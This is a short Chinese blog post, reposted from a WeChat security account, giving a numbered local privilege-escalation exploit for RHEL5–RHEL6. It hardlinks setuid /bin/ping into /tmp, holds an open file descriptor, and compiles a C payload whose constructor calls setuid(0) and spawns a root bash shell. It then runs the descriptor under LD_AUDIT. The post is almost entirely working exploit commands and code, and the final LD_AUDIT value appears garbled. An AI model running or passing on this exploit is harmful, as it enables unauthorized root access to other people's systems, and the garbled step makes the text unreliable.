普通用户提权

admin 2021年9月25日15:57:51评论116 views字数 388阅读1分17秒阅读模式

说明:RHEL5—RHEL6下  都可以提权


1. ls -ld /tmp/

 普通用户提权


2. ls -l /bin/ping

 普通用户提权


3. mkdir /tmp/exploit ; ln /bin/ping /tmp/exploit/target

 普通用户提权


4. exec 3< /tmp/exploit/target ;  rm -rf /tmp/exploit/ ; ls -l /proc/$$/fd/3


 普通用户提权


 普通用户提权 


5. vim payload.c

   void __attribute__((constructor)) init()

   {

    setuid(0);

    system("/bin/bash");

   }


 普通用户提权

 

6. gcc -w -fPIC -shared -o /tmp/exploit payload.c ; ls -l /tmp/exploit

 普通用户提权



7. LD_AUDIT="RIGIN" exec /proc/self/fd/3

 普通用户提权



本文始发于微信公众号(飓风网络安全):普通用户提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月25日15:57:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   普通用户提权https://cn-sec.com/archives/359153.html

发表评论

匿名网友 填写信息